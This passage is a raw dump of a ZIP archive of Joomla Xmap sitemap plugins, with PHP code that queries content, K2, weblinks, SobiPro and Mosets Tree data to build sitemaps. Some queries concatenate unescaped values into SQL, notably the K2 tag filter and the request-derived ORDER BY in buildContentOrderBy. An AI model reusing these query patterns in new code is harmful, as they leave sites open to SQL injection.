) { $where[] = 'a.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'; } if (!$params['show_unauth']) { $where[] = 'a.access IN (' . $params['groups'] . ') '; } $orderby = 'a.lft'; $query = 'SELECT a.id, a.title, a.alias, a.access, a.path AS route, ' . 'a.created_time created, a.modified_time modified ' . 'FROM #__categories AS a ' . 'WHERE '. implode(' AND ',$where) . ( $xmap->view != 'xml' ? "\n ORDER BY " . $orderby . "" : '' ); $db->setQuery($query); #echo nl2br(str_replace('#__','jos_',$db->getQuery()));exit; $items = $db->loadObjectList(); if (count($items) > 0) { $xmap->changeLevel(1); foreach ($items as $item) { $node = new stdclass(); $node->id = $parent->id; $node->uid = $parent->uid . 'c' . $item->id; $node->browserNav = $parent->browserNav; $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->name = $item->title; $node->expandible = true; $node->secure = $parent->secure; // TODO: Should we include category name or metakey here? // $node->keywords = $item->metakey; $node->newsItem = 0; // For the google news we should use te publication date instead // the last modification date. See if ($xmap->isNews || !$item->modified) $item->modified = $item->created; $node->slug = $item->route ? ($item->id . ':' . $item->route) : $item->id; $node->link = ContentHelperRoute::getCategoryRoute($node->slug); if (strpos($node->link,'Itemid=')===false) { $node->itemid = $itemid; $node->link .= '&Itemid='.$itemid; } else { $node->itemid = preg_replace('/.*Itemid=([0-9]+).*/','$1',$node->link); } if ($xmap->printNode($node)) { self::expandCategory($xmap, $parent, $item->id, $params, $node->itemid); } } $xmap->changeLevel(-1); } // Include Category's content self::includeCategoryContent($xmap, $parent, $catid, $params, $itemid); return true; } /** * Get all content items within a content category. * Returns an array of all contained content items. * * @since 2.0 */ static function includeCategoryContent($xmap, $parent, $catid, &$params,$Itemid) { $db = JFactory::getDBO(); // We do not do ordering for XML sitemap. if ($xmap->view != 'xml') { $orderby = self::buildContentOrderBy($parent->params,$parent->id,$Itemid); //$orderby = !empty($menuparams['orderby']) ? $menuparams['orderby'] : (!empty($menuparams['orderby_sec']) ? $menuparams['orderby_sec'] : 'rdate' ); //$orderby = self::orderby_sec($orderby); } if ($params['include_archived']) { $where = array('(a.state = 1 or a.state = 2)'); } else { $where = array('a.state = 1'); } if ($catid=='featured') { $where[] = 'a.featured=1'; } elseif ($catid=='archived') { $where = array('a.state=2'); } elseif(is_numeric($catid)) { $where[] = 'a.catid='.(int) $catid; } if ($params['max_art_age'] || $xmap->isNews) { $days = (($xmap->isNews && ($params['max_art_age'] > 3 || !$params['max_art_age'])) ? 3 : $params['max_art_age']); $where[] = "( a.created >= '" . date('Y-m-d H:i:s', time() - $days * 86400) . "' ) "; } if ($params['language_filter'] ) { $where[] = 'a.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'; } if (!$params['show_unauth'] ){ $where[] = 'a.access IN (' . $params['groups'] . ') '; } $query = 'SELECT a.id, a.title, a.alias, a.catid, ' . 'a.created created, a.modified modified' . ',a.language' . (($params['add_images'] || $params['add_pagebreaks']) ? ',a.introtext, a.fulltext ' : ' ') . 'FROM #__content AS a ' . ($catid =='featured'? 'LEFT JOIN #__content_frontpage AS fp ON a.id = fp.content_id ' : ' ') . 'WHERE ' . implode(' AND ',$where) . ' AND ' . ' (a.publish_up = ' . $params['nullDate'] . ' OR a.publish_up <= ' . $params['nowDate'] . ') AND ' . ' (a.publish_down = ' . $params['nullDate'] . ' OR a.publish_down >= ' . $params['nowDate'] . ') ' . ( $xmap->view != 'xml' ? "\n ORDER BY $orderby " : '' ) . ( $params['max_art'] ? "\n LIMIT {$params['max_art']}" : ''); $db->setQuery($query); //echo nl2br(str_replace('#__','mgbj2_',$db->getQuery())); $items = $db->loadObjectList(); if (count($items) > 0) { $xmap->changeLevel(1); foreach ($items as $item) { $node = new stdclass(); $node->id = $parent->id; $node->uid = $parent->uid . 'a' . $item->id; $node->browserNav = $parent->browserNav; $node->priority = $params['art_priority']; $node->changefreq = $params['art_changefreq']; $node->name = $item->title; $node->modified = $item->modified; $node->expandible = false; $node->secure = $parent->secure; // TODO: Should we include category name or metakey here? // $node->keywords = $item->metakey; $node->newsItem = 1; $node->language = $item->language; // For the google news we should use te publication date instead // the last modification date. See if ($xmap->isNews || !$node->modified) $node->modified = $item->created; $node->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; //$node->catslug = $item->category_route ? ($catid . ':' . $item->category_route) : $catid; $node->catslug = $item->catid; $node->link = ContentHelperRoute::getArticleRoute($node->slug, $node->catslug); // Add images to the article $text = @$item->introtext . @$item->fulltext; if ($params['add_images']) { $node->images = XmapHelper::getImages($text,$params['max_images']); } if ($params['add_pagebreaks']) { $subnodes = XmapHelper::getPagebreaks($text,$node->link); $node->expandible = (count($subnodes) > 0); // This article has children } if ($xmap->printNode($node) && $node->expandible) { self::printNodes($xmap, $parent, $params, $subnodes); } } $xmap->changeLevel(-1); } return true; } static private function printNodes($xmap, $parent, &$params, &$subnodes) { $xmap->changeLevel(1); $i=0; foreach ($subnodes as $subnode) { $i++; $subnode->id = $parent->id; $subnode->uid = $parent->uid.'p'.$i; $subnode->browserNav = $parent->browserNav; $subnode->priority = $params['art_priority']; $subnode->changefreq = $params['art_changefreq']; $subnode->secure = $parent->secure; $xmap->printNode($subnode); } $xmap->changeLevel(-1); } /** * Generates the order by part of the query according to the * menu/component/user settings. It checks if the current user * has already changed the article's ordering column in the frontend * * @param JRegistry $params * @param int $parentId * @param int $itemid * @return string */ static function buildContentOrderBy(&$params,$parentId,$itemid) { $app = JFactory::getApplication('site'); // Case when the child gets a different menu itemid than it's parent if ($parentId != $itemid) { $menu = $app->getMenu(); $item = $menu->getItem($itemid); $menuParams = clone($params); $itemParams = new JRegistry($item->params); $menuParams->merge($itemParams); } else { $menuParams =& $params; } $filter_order = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string'); $filter_order_Dir = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd'); $orderby = ' '; if ($filter_order && $filter_order_Dir) { $orderby .= $filter_order . ' ' . $filter_order_Dir . ', '; } $articleOrderby = $menuParams->get('orderby_sec', 'rdate'); $articleOrderDate = $menuParams->get('order_date'); //$categoryOrderby = $menuParams->def('orderby_pri', ''); $secondary = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', '; //$primary = ContentHelperQuery::orderbyPrimary($categoryOrderby); //$orderby .= $primary . ' ' . $secondary . ' a.created '; $orderby .= $secondary . ' a.created '; return $orderby; } }PK]y>\)xmap/com_content/.htaccessnuW+A Order allow,deny Deny from all PK]y>\)xmap/com_k2/.htaccessnuW+A Order allow,deny Deny from all PK]y>\FrKKxmap/com_k2/com_k2.xmlnuW+A XMAP_PLUGIN_K2 Mohammad Hasani Eghtedar November 2011 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL m.h.eghtedar@gmail.com https://github.com/mhehm/Xmap 1.3 XMAP_PLUGIN_K2_DESC com_k2.php index.html en-GB/en-GB.plg_xmap_com_k2.ini en-GB/en-GB.plg_xmap_com_k2.sys.ini fr-FR/fr-FR.plg_xmap_com_k2.ini fr-FR/fr-FR.plg_xmap_com_k2.sys.ini fa-IR/fa-IR.plg_xmap_com_k2.ini fa-IR/fa-IR.plg_xmap_com_k2.sys.ini
PK]y>\q (7(7xmap/com_k2/com_k2.phpnuW+Alink ); parse_str( html_entity_decode($link_query['query']), $link_vars); $parm_vars = $parent->params->toArray(); $option = xmap_com_k2::getParam($link_vars,'option',""); if ($option != "com_k2") return; $view = xmap_com_k2::getParam($link_vars,'view',""); $showMode = xmap_com_k2::getParam($params, 'showk2items', "always"); if ($showMode == "never" || ($showMode == "xml" && $xmap->view == "html") || ($showMode == "html" && $xmap->view == "xml")) return; self::$suppressDups = (xmap_com_k2::getParam($params,'suppressdups', 'yes') == "yes"); self::$suppressSub = (xmap_com_k2::getParam($params,'subcategories',"yes") != "yes"); if ($view == "item") // for Items the sitemap already contains the correct reference { if (!isset($xmap->IDS)) $xmap->IDS = ""; $xmap->IDS = $xmap->IDS."|".xmap_com_k2::getParam($link_vars, 'id', $id); return; } if ($xmap->view == "xml") self::$maxAccess = 1; // XML sitemaps will only see content for guests else self::$maxAccess = implode(",", JFactory::getUser()->getAuthorisedViewLevels()); switch(xmap_com_k2::getParam($link_vars,'task',"")) { case "user": $tag = xmap_com_k2::getParam($link_vars, 'id', $id); $ids = array_key_exists('userCategoriesFilter',$parm_vars) ? $parm_vars['userCategoriesFilter'] : array(""); $mode = "single user"; break; case "tag": $tag = xmap_com_k2::getParam($link_vars, 'tag',""); $ids = array_key_exists('categoriesFilter',$parm_vars) ? $parm_vars['categoriesFilter'] : array(""); $mode = "tag"; break; case "category": $ids = explode("|", xmap_com_k2::getParam($link_vars, 'id',"")); $mode = "category"; break; case "": switch(xmap_com_k2::getParam($link_vars,'layout',"")) { case "category": if(array_key_exists('categories', $parm_vars)) $ids = $parm_vars["categories"]; else $ids = ''; $mode = "categories"; break; case "latest": $limit = xmap_com_k2::getParam($parm_vars, 'latestItemsLimit', ""); if (xmap_com_k2::getParam($parm_vars, 'source', "") == "0") { $ids = array_key_exists("userIDs",$parm_vars) ? $parm_vars["userIDs"] : ''; $mode = "latest user"; } else { $ids = array_key_exists("categoryIDs",$parm_vars) ? $parm_vars["categoryIDs"] : ''; $mode = "latest category"; } break; default: return; } break; default: return; } $priority = xmap_com_k2::getParam($params,'priority',$parent->priority); $changefreq = xmap_com_k2::getParam($params,'changefreq',$parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['priority'] = $priority; $params['changefreq'] = $changefreq; $db = JFactory::getDBO(); xmap_com_k2::processTree($db, $xmap, $parent, $params, $mode, $ids, $tag, $limit); return; } static function collectByCat($db, $catid, &$allrows) { if (trim($catid) == "") // in this case something strange went wrong return; $query = "select id,title,alias,UNIX_TIMESTAMP(created) as created, UNIX_TIMESTAMP(modified) as modified, metakey from #__k2_items where " ."published = 1 and trash = 0 and (publish_down = \"0000-00-00\" OR publish_down > NOW()) " ."and catid = ".$catid. " order by 1 desc"; $db->setQuery($query); $rows = $db->loadObjectList(); if ($rows != null) $allrows = array_merge($allrows, $rows); $query = "select id, name, alias from #__k2_categories where published = 1 and trash = 0 and parent = ".$catid." order by id"; $db->setQuery($query); $rows = $db->loadObjectList(); if ($rows == null) $rows = array(); foreach ($rows as $row) { xmap_com_k2::collectByCat($db, $row->id, $allrows); } } static function processTree($db, &$xmap, &$parent, &$params, $mode, $ids, $tag, $limit) { $baseQuery = "select id,title,alias,UNIX_TIMESTAMP(created) as created, UNIX_TIMESTAMP(modified) as modified, metakey from #__k2_items where " ."published = 1 and trash = 0 and (publish_down = \"0000-00-00\" OR publish_down > NOW()) and " ."access in (".self::$maxAccess.") and "; switch($mode) { case "single user": $query = $baseQuery."created_by = ".$tag." "; if ($ids[0] != "") $query .= " and catid in (".implode(",", $ids).")"; $query .= " order by 1 DESC "; $db->setQuery($query); $rows = $db->loadObjectList(); break; case "tag": $query = "SELECT c.id, title, alias, UNIX_TIMESTAMP(c.created) as created, UNIX_TIMESTAMP(c.modified) as modified FROM #__k2_tags a, #__k2_tags_xref b, #__k2_items c where "."c.published = 1 and c.trash = 0 and (c.publish_down = \"0000-00-00\" OR c.publish_down > NOW()) " ."and a.Name = '".$tag."' and a.id = b.tagId and c.id = b.itemID and c.access in (".self::$maxAccess.")"; if ($ids[0] != "") $query .= " and c.catid in (".implode(",", $ids).")"; $query .= " order by 1 DESC "; $db->setQuery($query); $rows = $db->loadObjectList(); break; case "category": $query = $baseQuery."catid = ".$ids[0]." order by 1 DESC "; $db->setQuery($query); $rows = $db->loadObjectList(); break; case "categories": if (!self::$suppressSub) { if($ids) $query = $baseQuery."catid in (".implode(",", $ids).") order by 1 DESC "; else $query = $baseQuery."1 order by 1 DESC "; $db->setQuery($query); $rows = $db->loadObjectList (); } else { $rows = array(); if (is_array($ids)) { foreach($ids as $id) { $allrows = array(); xmap_com_k2::collectByCat($db, $id, $allrows); $rows = array_merge($rows, $allrows); } } } break; case "latest user": $rows = array(); if (is_array($ids)) { foreach ($ids as $id) { $query = $baseQuery."created_by = ".$id." order by 1 DESC LIMIT ".$limit; $db->setQuery($query); $res = $db->loadObjectList(); if ($res != null) $rows = array_merge($rows, $res); } } break; case "latest category": $rows = array(); if (is_array($ids)) { foreach ($ids as $id) { $query = $baseQuery."catid = ".$id." order by 1 DESC LIMIT ".$limit; $db->setQuery($query); $res = $db->loadObjectList(); if ($res != null) $rows = array_merge($rows, $res); } } break; default: return; } $xmap->changeLevel(1); $node = new stdclass (); $node->id = $parent->id; if ($rows == null) { $rows = array(); } foreach ($rows as $row ) { if (!(self::$suppressDups && isset($xmap->IDS) && strstr($xmap->IDS, "|".$row->id))) xmap_com_k2::addNode($xmap, $node, $row, false, $parent, $params); } if ($mode == "category" && !self::$suppressSub) { $query = "select id, name, alias from #__k2_categories where published = 1 and trash = 0 and parent = ".$ids[0] ." and access in (".self::$maxAccess.") order by id"; $db->setQuery($query); $rows = $db->loadObjectList(); if ($rows == null) { $rows = array(); } foreach ($rows as $row) { if (!isset($xmap->IDS)) $xmap->IDS = ""; if (!(self::$suppressDups && strstr($xmap->IDS, "|c".$row->id))) { xmap_com_k2::addNode($xmap, $node, $row, true, $parent, $params); $newID = array(); $newID[0] = $row->id; xmap_com_k2::processTree($db, $xmap, $parent, $params, $mode, $newID, "", ""); } } } $xmap->changeLevel (-1); } static function addNode($xmap, $node, $row, $iscat, &$parent, &$params) { $sef = ($_REQUEST['option'] == "com_sefservicemap"); // verallgemeinern if ($xmap->isNews && ($row->modified ? $row->modified : $row->created) > ($xmap->now - (2 * 86400))) { $node->newsItem = 1; $node->keywords = $row->metakey; } else { $node->newsItem = 0; $node->keywords = ""; } if (!isset($xmap->IDS)) $xmap->IDS = ""; $node->browserNav = $parent->browserNav; $node->pid = $row->id; $node->uid = $parent->uid . 'item' . $row->id; if (isset($row->modified) || isset($row->created)) $node->modified = (isset($row->modified) ? $row->modified : $row->created); if ($sef) $node->modified = date('Y-m-d',$node->modified); $node->name = ($iscat ? $row->name : $row->title); $node->priority = $params['priority']; $node->changefreq = $params['changefreq']; if ($iscat) { $xmap->IDS .= "|c".$row->id; $node->link = 'index.php?option=com_k2&view=itemlist&task=category&id='.$row->id.':'.$row->alias.'&Itemid='.$parent->id; $node->expandible = true; } else { $xmap->IDS .= "|".$row->id; $node->link = 'index.php?option=com_k2&view=item&id='.$row->id.':'.$row->alias.'&Itemid='.$parent->id; $node->expandible = false; } $node->tree = array (); $xmap->printNode($node); } static function &getParam($arr, $name, $def) { $var = JArrayHelper::getValue( $arr, $name, $def, '' ); return $var; } } ?>PK]y>\6xmap/com_k2/index.htmlnuW+APK]y>\)xmap/com_weblinks/.htaccessnuW+A Order allow,deny Deny from all PK]y>\z"xmap/com_weblinks/com_weblinks.phpnuW+Alink); parse_str(html_entity_decode($link_query['query']), $link_vars); $view = JArrayHelper::getValue($link_vars, 'view', ''); if ($view == 'weblink') { $id = intval(JArrayHelper::getValue($link_vars, 'id', 0)); if ($id) { $node->uid = 'com_weblinksi' . $id; $node->expandible = false; } } elseif ($view == 'categories') { $node->uid = 'com_weblinkscategories'; $node->expandible = true; } elseif ($view == 'category') { $catid = intval(JArrayHelper::getValue($link_vars, 'id', 0)); $node->uid = 'com_weblinksc' . $catid; $node->expandible = true; } } static function getTree($xmap, $parent, &$params) { self::initialize($params); $app = JFactory::getApplication(); $weblinks_params = $app->getParams('com_weblinks'); $link_query = parse_url($parent->link); parse_str(html_entity_decode($link_query['query']), $link_vars); $view = JArrayHelper::getValue($link_vars, 'view', 0); $app = JFactory::getApplication(); $menu = $app->getMenu(); $menuparams = $menu->getParams($parent->id); if ($view == 'category') { $catid = intval(JArrayHelper::getValue($link_vars, 'id', 0)); } elseif ($view == 'categories') { $catid = 0; } else { // Only expand category menu items return; } $include_links = JArrayHelper::getValue($params, 'include_links', 1, ''); $include_links = ( $include_links == 1 || ( $include_links == 2 && $xmap->view == 'xml') || ( $include_links == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['include_links'] = $include_links; $priority = JArrayHelper::getValue($params, 'cat_priority', $parent->priority, ''); $changefreq = JArrayHelper::getValue($params, 'cat_changefreq', $parent->changefreq, ''); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; $priority = JArrayHelper::getValue($params, 'link_priority', $parent->priority, ''); $changefreq = JArrayHelper::getValue($params, 'link_changefreq', $parent->changefreq, ''); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['link_priority'] = $priority; $params['link_changefreq'] = $changefreq; $options = array(); $options['countItems'] = false; $options['catid'] = rand(); $categories = JCategories::getInstance('Weblinks', $options); $category = $categories->get($catid? $catid : 'root', true); $params['count_clicks'] = $weblinks_params->get('count_clicks'); xmap_com_weblinks::getCategoryTree($xmap, $parent, $params, $category); } static function getCategoryTree($xmap, $parent, &$params, $category) { $db = JFactory::getDBO(); $children = $category->getChildren(); $xmap->changeLevel(1); foreach ($children as $cat) { $node = new stdclass; $node->id = $parent->id; $node->uid = $parent->uid . 'c' . $cat->id; $node->name = $cat->title; $node->link = WeblinksHelperRoute::getCategoryRoute($cat); $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->expandible = true; if ($xmap->printNode($node) !== FALSE) { xmap_com_weblinks::getCategoryTree($xmap, $parent, $params, $cat); } } $xmap->changeLevel(-1); if ($params['include_links']) { //view=category&catid=... $linksModel = new WeblinksModelCategory(); $linksModel->getState(); // To force the populate state $linksModel->setState('list.limit', JArrayHelper::getValue($params, 'max_links', NULL)); $linksModel->setState('list.start', 0); $linksModel->setState('list.ordering', 'ordering'); $linksModel->setState('list.direction', 'ASC'); $linksModel->setState('category.id', $category->id); $links = $linksModel->getItems(); $xmap->changeLevel(1); foreach ($links as $link) { $item_params = new JRegistry; $item_params->loadString($link->params); $node = new stdclass; $node->id = $parent->id; $node->uid = $parent->uid . 'i' . $link->id; $node->name = $link->title; // Find the Itemid $Itemid = intval(preg_replace('/.*Itemid=([0-9]+).*/','$1',WeblinksHelperRoute::getWeblinkRoute($link->id, $category->id))); if ($item_params->get('count_clicks', $params['count_clicks']) == 1) { $node->link = 'index.php?option=com_weblinks&task=weblink.go&id='. $link->id.'&Itemid='.($Itemid ? $Itemid : $parent->id); } else { $node->link = $link->url; } $node->priority = $params['link_priority']; $node->changefreq = $params['link_changefreq']; $node->expandible = false; $xmap->printNode($node); } $xmap->changeLevel(-1); } } static public function initialize(&$params) { if (self::$_initialized) { return; } self::$_initialized = true; require_once JPATH_SITE.'/components/com_weblinks/models/category.php'; require_once JPATH_SITE.'/components/com_weblinks/helpers/route.php'; } }PK]y>\(--"xmap/com_weblinks/com_weblinks.xmlnuW+A Xmap - WebLinks Plugin Guillermo Vargas Apr 2004 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.1 XMAP_WL_PLUGIN_DESCRIPTION com_weblinks.php index.html en-GB.plg_xmap_com_weblinks.ini es-ES.plg_xmap_com_weblinks.ini fa-IR.plg_xmap_com_weblinks.ini cs-CZ.plg_xmap_com_weblinks.ini nl-NL.plg_xmap_com_weblinks.ini ru-RU.plg_xmap_com_weblinks.ini
PK]y>\6xmap/com_weblinks/index.htmlnuW+APK]y>\=gg xmap/com_sobipro/com_sobipro.xmlnuW+A Xmap - SobiPro Plugin Guillermo Vargas 07/15/2011 GNU GPL http://www.gnu.org/copyleft/gpl.html GNU/GPL guille@vargas.co.cr joomla.vargas.co.cr 2.0.2 Xmap Plugin for SobiPro component com_sobipro.php en-GB.plg_xmap_com_sobipro.ini es-ES.plg_xmap_com_sobipro.ini fa-IR.plg_xmap_com_sobipro.ini cs-CZ.plg_xmap_com_sobipro.ini nl-NL.plg_xmap_com_sobipro.ini ru-RU.plg_xmap_com_sobipro.ini
PK]y>\Qh(( xmap/com_sobipro/com_sobipro.phpnuW+Alink ); parse_str( html_entity_decode($link_query['query']), $link_vars); $sid = JArrayHelper::getValue($link_vars,'sid',0); $db = JFactory::getDbo(); $db->setQuery('SELECT * FROM `#__sobipro_object` where id='.(int)$sid); $row = $db->loadObject(); $node->uid = 'com_sobiproo'.$sid; if ( $row->oType == 'section' || $row->oType == 'category' ) { $node->expandible = true; } else { $node->expandible = false; } } /** Get the content tree for this kind of content */ function getTree( $xmap, $parent, &$params ) { if ($xmap->isNews) // This component does not provide news content. don't waste time/resources return false; if (!self::loadSobi()){ return; } $link_query = parse_url( $parent->link ); parse_str( html_entity_decode($link_query['query']), $link_vars); $sid =JArrayHelper::getValue($link_vars,'sid',1); $task =JArrayHelper::getValue($link_vars,'task', null); if (in_array($task, array('search', 'entry.add'))) { return; } $db = JFactory::getDbo(); $db->setQuery('SELECT * FROM `#__sobipro_object` where id='.(int)$sid); $object = $db->loadObject(); if ($object->oType == 'entry') { return; } elseif ( $object->oType == 'category' ) { $sectionId = self::findCategorySection($object->parent); } else { $sectionId = $sid; } self::$sectionConfig = self::getSectionConfig($sectionId); $include_entries =JArrayHelper::getValue($params,'include_entries',1); $include_entries = ( $include_entries == 1 || ( $include_entries == 2 && $xmap->view == 'xml') || ( $include_entries == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['include_entries'] = $include_entries; $priority =JArrayHelper::getValue($params,'cat_priority',$parent->priority); $changefreq =JArrayHelper::getValue($params,'cat_changefreq',$parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; $priority =JArrayHelper::getValue($params,'entry_priority',$parent->priority); $changefreq =JArrayHelper::getValue($params,'entry_changefreq',$parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['entry_priority'] = $priority; $params['entry_changefreq'] = $changefreq; $date = JFactory::getDate(); $params['now'] = $date->toMySql(); if ( $include_entries ) { $ordering = JArrayHelper::getValue($params,'entries_order','b.position'); $orderdir = JArrayHelper::getValue($params,'entries_orderdir','ASC'); if ( !in_array($ordering,array('b.position','a.counter','b.validSince','a.updatedTime')) ){ $ordering = 'b.position'; } if ( !in_array($orderdir,array('ASC','DESC')) ){ $orderdir = 'ASC'; } $params['ordering'] = $ordering. ' '. $orderdir; $params['limit'] = ''; $params['days'] = ''; $limit = JArrayHelper::getValue($params,'max_entries',''); if ( intval($limit) ) $params['limit'] = ' LIMIT '.$limit; $days = JArrayHelper::getValue($params,'max_age',''); if ( intval($days) ) $params['days'] = ' AND a.publish_up >=\''.strftime("%Y-%m-%d %H:%M:%S",$xmap->now - ($days*86400)) ."' "; } xmap_com_sobipro::getCategoryTree($xmap, $parent, $sid, $params); } /** SobiPro support */ function getCategoryTree( $xmap, $parent, $sid, &$params ) { $database =& JFactory::getDBO(); $query = "SELECT a.id,a.nid, a.name, b.pid as pid " ."\n FROM #__sobipro_object AS a, #__sobipro_relations AS b " ."\n WHERE a.parent=$sid" ." AND a.oType='category'" ." AND b.oType=a.oType" ." AND a.state=1 " ." AND a.approved=1 " ."\n AND a.id=b.id " ."\n ORDER BY b.position ASC"; $database->setQuery( $query ); $rows = $database->loadObjectList(); $modified = time(); $xmap->changeLevel(1); foreach($rows as $row) { $node = new stdclass; $node->id = $parent->id; $node->uid = 'com_sobiproc'.$row->id; // Unique ID $node->browserNav = $parent->browserNav; $node->name = html_entity_decode($row->name); $node->modified = $modified; #$node->link = 'index.php?option=com_sobipro&sid='.$row->id.':'.trim( SPLang::urlSafe( $row->name ) ).'&Itemid='.$parent->id; $node->link = SPJoomlaMainFrame::url( array('sid' => $row->id, 'title' => $row->name), false, false ); $node->priority = $params['cat_priority']; $node->changefreq = $params['cat_changefreq']; $node->expandible = true; $node->secure = $parent->secure; if ( $xmap->printNode($node) !== FALSE ) { xmap_com_sobipro::getCategoryTree($xmap, $parent, $row->id, $params); } } if ( $params['include_entries'] ) { $query = "SELECT a.id, c.baseData as name,a.updatedTime as modified,b.validSince as publish_up, b.pid as catid " ."\n FROM #__sobipro_object AS a, #__sobipro_relations AS b, #__sobipro_field_data c" ."\n WHERE a.state=1 " ."\n AND a.id=b.id " ."\n AND b.oType = 'entry'" ."\n AND b.pid = $sid" ."\n AND a.approved=1 " ."\n AND (a.validUntil>='{$params['now']}' or a.validUntil='0000-00-00 00:00:00' ) " ."\n AND (a.validSince<='{$params['now']}' or a.validSince='0000-00-00 00:00:00' ) " ."\n AND a.id=c.sid AND c.fid=".self::$sectionConfig['name_field']->sValue ."\n AND c.section=".self::$sectionConfig['name_field']->section . $params['days'] ."\n ORDER BY " . $params['ordering'] . $params['limit']; $database->setQuery( $query ); $rows = $database->loadObjectList(); foreach($rows as $row) { $node = new stdclass; $node->id = $parent->id; $node->uid = 'com_sobiproe'.$row->id; // Unique ID $node->browserNav = $parent->browserNav; $node->name = html_entity_decode($row->name); $node->modified = $row->modified? $row->modified : $row->publish_up; $node->priority = $params['entry_priority']; $node->changefreq = $params['entry_changefreq']; $node->expandible = false; $node->secure = $parent->secure; # $node->link = 'index.php?option=com_sobipro&pid='.$row->catid . '&sid=' . $row->id.':'.trim( SPLang::urlSafe( $row->name )).'&Itemid='.$parent->id; $node->link = SPJoomlaMainFrame::url( array('sid' => $row->id, 'pid' => $row->catid, 'title' => $row->name), false, false ); $xmap->printNode($node); } } $xmap->changeLevel(-1); } static protected function getSectionConfig($sectionId) { $db = JFactory::getDbo(); $db->setQuery('SELECT * FROM `#__sobipro_config` where section='.(int)$sectionId); return $db->loadObjectList('sKey'); } static protected function loadSobi() { if (defined('SOBI_TESTS')) { return true; } define( 'SOBI_TESTS', false ); $ver = new JVersion(); $ver = str_replace( '.', null, $ver->RELEASE ); // added by Pierre Burri-Wittke globeall.de if ($ver > '15') { $ver = '16'; } define( 'SOBI_CMS', 'joomla'. $ver ); define( 'SOBIPRO', true ); define( 'SOBI_TASK', 'task' ); define( 'SOBI_DEFLANG', JFactory::getLanguage()->getDefault() ); define( 'SOBI_ACL', 'front' ); define( 'SOBI_ROOT', JPATH_ROOT ); define( 'SOBI_MEDIA', implode( '/', array( JPATH_ROOT, 'media', 'sobipro' ) ) ); define( 'SOBI_MEDIA_LIVE', JURI::root().'/media/sobipro' ); define( 'SOBI_PATH', SOBI_ROOT.'/components/com_sobipro' ); if (!file_exists(SOBI_PATH.'/lib/base/fs/loader.php')) { return false; } require_once SOBI_PATH.'/lib/base/fs/loader.php'; SPLoader::loadClass( 'sobi' ); SPLoader::loadClass( 'base.request' ); SPLoader::loadClass( 'base.object' ); SPLoader::loadClass( 'base.factory' ); SPLoader::loadClass( 'base.mainframe' ); // added by Pierre Burri-Wittke globeall.de SPLoader::loadClass( 'base.const' ); SPLoader::loadClass( 'cms.base.mainframe' ); SPLoader::loadClass( 'cms.base.lang' ); return true; } static protected function findCategorySection($sid) { $db = JFactory::getDbo(); $db->setQuery('SELECT id,parent,oType FROM `#__sobipro_object` where id='.(int)$sid); $row = $db->loadObject(); if ($row->oType == 'section') { return $row->id; } else { return self::findCategorySection($row->parent); } } } PK]y>\)xmap/com_sobipro/.htaccessnuW+A Order allow,deny Deny from all PK]y>\6xmap/com_mtree/index.htmlnuW+APK]y>\xmap/com_mtree/com_mtree.phpnuW+AisNews) // This component does not provide news content. don't waste time/resources return false; $db = JFactory::getDbo(); $catid=0; if ( strpos($parent->link, 'task=listcats') ) { $link_query = parse_url( $parent->link ); parse_str( html_entity_decode($link_query['query']), $link_vars); $catid = JArrayHelper::getValue($link_vars,'cat_id',0); } $include_links = JArrayHelper::getValue($params,'include_links',1); $include_links = ( $include_links == 1 || ( $include_links == 2 && $xmap->view == 'xml') || ( $include_links == 3 && $xmap->view == 'html') || $xmap->view == 'navigator'); $params['include_links'] = $include_links; $priority = JArrayHelper::getValue($params,'cat_priority',$parent->priority); $changefreq = JArrayHelper::getValue($params,'cat_changefreq',$parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['cat_priority'] = $priority; $params['cat_changefreq'] = $changefreq; $priority = JArrayHelper::getValue($params,'link_priority',$parent->priority); $changefreq = JArrayHelper::getValue($params,'link_changefreq',$parent->changefreq); if ($priority == '-1') $priority = $parent->priority; if ($changefreq == '-1') $changefreq = $parent->changefreq; $params['link_priority'] = $priority; $params['link_changefreq'] = $changefreq; $ordering = JArrayHelper::getValue($params,'cats_order','cat_name'); $orderdir = JArrayHelper::getValue($params,'cats_orderdir','ASC'); if ( !in_array($ordering,array('ordering','cat_name','cat_created')) ) $ordering = 'cat_name'; if ( !in_array($orderdir,array('ASC','DESC')) ){ $orderdir = 'ASC'; } $params['cats_order'] = $db->quoteName($ordering)." $orderdir"; if ( $include_links ) { $ordering = JArrayHelper::getValue($params,'links_order','ordering'); $orderdir = JArrayHelper::getValue($params,'links_orderdir','ASC'); if ( !in_array($ordering,array('ordering','link_name','link_modified','link_created','link_hits')) ) $ordering = 'ordering'; if ( !in_array($orderdir,array('ASC','DESC')) ){ $orderdir = 'ASC'; } $params['links_order'] = $db->quoteName($ordering)." $orderdir"; $params['limit'] = ''; $params['days'] = ''; $limit = JArrayHelper::getValue($params,'max_links',0); if ( intval($limit) ) $params['limit'] = ' LIMIT '.intval($limit); $days = JArrayHelper::getValue($params,'max_age',''); if ( intval($days) ) $params['days'] = ' AND a.link_created >=\''.date('Y-m-d 